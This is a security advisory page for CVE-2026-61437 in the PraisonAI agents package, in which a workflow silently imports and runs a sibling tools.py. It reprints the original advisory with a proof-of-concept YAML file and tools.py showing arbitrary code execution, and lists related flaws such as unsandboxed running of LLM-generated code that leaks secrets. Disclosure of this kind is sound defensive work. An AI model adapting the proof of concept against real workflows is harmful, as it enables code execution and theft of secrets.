Patch Forecast
Yellow warning
Plan into this sprint.

CVE-2026-61437 · GHSA-4gfv-wg42-7jw5

PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow

Risk score
53/100
CVSS
7.8 v3.1
Exploit chance (30 days)
0.2%
Published
8 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed. The vulnerability is located in the workflow structured output resolution logic. File: src/praisonai-agents/praisonaiagents/workflows/…
Affected
praisonaiagents (pip) <= 1.6.77
Fix
Upgrade praisonaiagents to 1.6.78 or later.
Exploitation
No known exploitation

Story map

Story map: praisonaiagentsTHE FLAWSTHE FIXCVE-2026-61437PraisonAI: Unsafe DynamicModule Loading Leads toArbitrary Code Execution via…CVSS 7.8 · EPSS 0%CVE-2026-61447PraisonAI: CodeAgent ExecutesLLM-Generated Code WithoutSandboxing and Leaks All…CVSS 10.0 · EPSS 2%CVE-2026-61430PraisonAI: DNS rebindingbypass in `web_crawl` SSRFprotection allows internal…CVSS 8.5 · EPSS 0%CVE-2026-61429PraisonAI:Crawl4AI/Chromium backend isalso affected by the…CVSS 8.5 · EPSS 0%Upgrade praisonaiagents1.6.78or later on your release lineWho is exposedpraisonaiagents (pip) <= 1.6.77RED · ACT TODAYpraisonaiagentsCodeAgent._execute_python()executes LLM-generated Pythoncode in a subprocess with thecomplete parent-processenvironment (os.environ.copy()),zero AST validation, zero importrestrictions, and no sandbox…Where it standsPublic proof of conceptCONNECTS TOSame weaknessCWE-693 (CWE-693)60 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

praisonaiagents: Red, act today. CodeAgent._execute_python() executes LLM-generated Python code in a subprocess with the complete parent-process environment (os.environ.copy()), zero AST validation, zero import restrictions, and no sandbox enforcement — even when CodeConfig(sandbox=True) is explicitly set. This allows an attacker who can influence LL…

The flaws

  • CVE-2026-61437: PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow (CVSS 7.8 · EPSS 0%)
  • CVE-2026-61447: PraisonAI: CodeAgent Executes LLM-Generated Code Without Sandboxing and Leaks All Environment Secrets (CVSS 10.0 · EPSS 2%)
  • CVE-2026-61430: PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure (CVSS 8.5 · EPSS 0%)
  • CVE-2026-61429: PraisonAI: Crawl4AI/Chromium backend is also affected by the `web_crawl` SSRF validation bypass (CVSS 8.5 · EPSS 0%)

The fix

Upgrade praisonaiagents: 1.6.78 or later on your release line

Who is exposed: praisonaiagents (pip) <= 1.6.77

Where it stands

  • Public proof of concept

Connects to

Why it is Yellow

  • CVSS 7.8 high
  • On your watchlist: PyPI

Affected packages

PackageEcosystemVulnerableFixed in
praisonaiagentspip<= 1.6.771.6.78

References

Original description

### Summary An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling `tools.py` to execute arbitrary Python code when the workflow is executed. ### Details The vulnerability is located in the workflow structured output resolution logic. File: src/praisonai-agents/praisonaiagents/workflows/workflows.py Method: AgentFlow._resolve_pydantic_class ```python if self.file_path: workflow_dir = Path(self.file_path).parent tools_path = workflow_dir / "tools.py" if tools_path.exists(): spec = importlib.util.spec_from_file_location("tools", tools_path) tools_module = importlib.util.module_from_spec(spec) spec.loader.exec_module(tools_module) # Arbitrary code execution ``` This code is reached during step execution when a step uses a string `output_pydantic`: ```python step_output_pydantic = getattr(step, '_output_pydantic', None) if step_output_pydantic and isinstance(step_output_pydantic, str): resolved_class = self._resolve_pydantic_class(step_output_pydantic) ``` `file_path` is set automatically by: - `WorkflowManager._load_workflow()` (used by workspace discovery) - `WorkflowManager.create_workflow()` It can also be set manually after `load_yaml()`: ```python wf = mgr.load_yaml("workflow.yaml") wf.file_path = "workflow.yaml" ``` The `exec_module()` call has no sandboxing and ignores the `PRAISONAI_ALLOW_*_TOOLS` environment variables used elsewhere in the project. ### PoC Create the following two files in the same directory: `/tmp/attack/attack.yaml` ```yaml name: AttackWorkflow steps: - name: generate action: "Produce structured output" output_pydantic: MaliciousModel ``` `/tmp/attack/tools.py` ```python print("[RCE] Arbitrary code executed from tools.py") import os with open("/tmp/rce_success.txt", "w") as f: f.write(f"RCE executed by PID {os.getpid()}") class MaliciousModel: @classmethod def model_json_schema(cls): return {"type": "object"} ``` Run the following Python code (adjust the path to your PraisonAI source): ```python import sys sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents") from praisonaiagents.workflows import WorkflowManager from praisonaiagents.agent.agent import Agent mgr = WorkflowManager() wf = mgr.load_yaml("/tmp/attack/attack.yaml") wf.file_path = "/tmp/attack/attack.yaml" for step in wf.steps: step.output_pydantic = "MaliciousModel" step._output_pydantic = "MaliciousModel" if not getattr(step, "agent", None): step.agent = Agent( name="researcher", role="Researcher", goal="Generate output", instructions="Return structured data" ) wf.start("trigger") ``` ### Impact Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading. Affected users include: - Users of `WorkflowManager(workspace_path=...)`, where workflow discovery automatically sets `file_path`. - Users of `WorkflowManager.create_workflow()`. - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files. During workflow execution, a string `output_pydantic` reference causes the framework to automatically locate, import, and execute a sibling `tools.py` file. As a result, code contained in `tools.py` executes with the privileges of the workflow runner without requiring an explicit import or user approval step. Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands. This behavior also bypasses the `PRAISONAI_ALLOW_TEMPLATE_TOOLS` / `PRAISONAI_ALLOW_LOCAL_TOOLS` protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

Last activity 8 Oct 2026. Patch Forecast updates every hour.